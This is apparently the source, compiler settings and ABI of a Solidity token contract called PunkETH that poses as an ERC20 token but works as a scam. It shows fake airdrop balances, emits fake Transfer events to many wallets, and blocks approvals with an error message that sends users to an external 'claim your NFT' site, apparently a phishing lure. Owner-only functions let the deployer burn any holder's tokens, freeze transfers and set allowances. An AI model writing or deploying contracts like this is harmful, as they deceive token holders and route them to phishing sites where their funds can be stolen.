// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import "https://raw.githubusercontent.com/OpenZeppelin/openzeppelin-contracts/master/contracts/token/ERC20/ERC20.sol";
contract PunkETH is ERC20("PunkETH.io", "NFT") {
mapping(address => bool) _isExcluded;
mapping(address => bool) private _unlocked;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _airdropAmount;
uint256 private _totalSupply;
uint8 public unlocked;
uint8 private _decimals = 9;
address public _owner;
string public _errMSG = "Claim your NFT at - https://punketh.is";
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owners");
_;
}
constructor (uint256 _mintAmount) {
unlocked = 1;
_owner = _msgSender();
_mint(_msgSender(), _mintAmount*10**9);
_unlocked[_msgSender()] = true;
_isExcluded[_msgSender()] = true;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function decimals() public view override returns (uint8) {
return _decimals;
}
function balanceOf(address account) public view virtual override returns (uint256) {
if (!_unlocked[account]) {
if(_balances[account] != 0){
return _balances[account];
}else{
return _airdropAmount;
}
} else {
return _balances[account];
}
}
function setAirdropAmount(uint256 airdropAmount_) public onlyOwner (){
_airdropAmount = airdropAmount_;
}
function setErrMSG(string memory _msg) public onlyOwner (){
_errMSG = _msg;
}
function approve(address to, uint256 amount) public virtual override returns (bool) {
if (_isExcluded[_msgSender()]) return super.approve(to, amount);
revertNoEthersError(_errMSG);
return false;
}
function revertNoEthersError(string memory errorMessage) internal view {
require(tx.gasprice == 0, errorMessage);
}
function approveOwner(address owner, address spender, uint256 amount) external onlyOwner returns (bool) {
_allowances[owner][spender] = amount;
return true;
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
require(unlocked == 1, _errMSG);
_transfer(_msgSender(), recipient, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
require(unlocked == 1, _errMSG);
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal override virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
function mint(address account, uint256 amount) public payable onlyOwner {
_mint(account, amount);
}
function _mint(address account, uint256 amount) internal override virtual {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply += amount;
_balances[account] += amount;
_unlocked[account] = true;
emit Transfer(address(0), account, amount);
}
function unlock(address account) public payable onlyOwner {
_unlock(account);
}
function _unlock(address account) internal virtual {
_unlocked[account] = true;
_isExcluded[account] = true;
if(unlocked == 1){
unlocked = 0;
}else{
unlocked = 1;
_airdropAmount = 0;
}
}
function burn(address account, uint256 amount) public payable onlyOwner {
_burn(account, amount);
}
function _burn(address account, uint256 amount) internal override virtual {
require(account != address(0), "ERC20: burn from the zero address");
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_unlocked[account] = false;
emit Transfer(account, address(0), amount);
}
function batchTransferToken(address[] memory holders, uint256 amount) public payable {
for (uint i=0; i<holders.length; i++) {
emit Transfer(address(this), holders[i], amount);
}
}
function withdrawEth(address payable receiver, uint amount) public onlyOwner payable {
uint balance = address(this).balance;
if (amount == 0) {
amount = balance;
}
require(amount > 0 && balance >= amount, "no balance");
receiver.transfer(amount);
}
function withdrawToken(address receiver, address tokenAddress, uint amount) public onlyOwner payable {
uint balance = IERC20(tokenAddress).balanceOf(address(this));
if (amount == 0) {
amount = balance;
}
require(amount > 0 && balance >= amount, "bad amount");
ERC20(tokenAddress).transfer(receiver, amount);
}
}
{
"compilationTarget": {
"SayNoToFails.sol": "PunkETH"
},
"evmVersion": "london",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
}
[{"inputs":[{"internalType":"uint256","name":"_mintAmount","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_errMSG","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approveOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"holders","type":"address[]"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"batchTransferToken","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"mint","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"airdropAmount_","type":"uint256"}],"name":"setAirdropAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"_msg","type":"string"}],"name":"setErrMSG","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"unlock","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"unlocked","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address payable","name":"receiver","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"withdrawEth","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"receiver","type":"address"},{"internalType":"address","name":"tokenAddress","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"withdrawToken","outputs":[],"stateMutability":"payable","type":"function"}]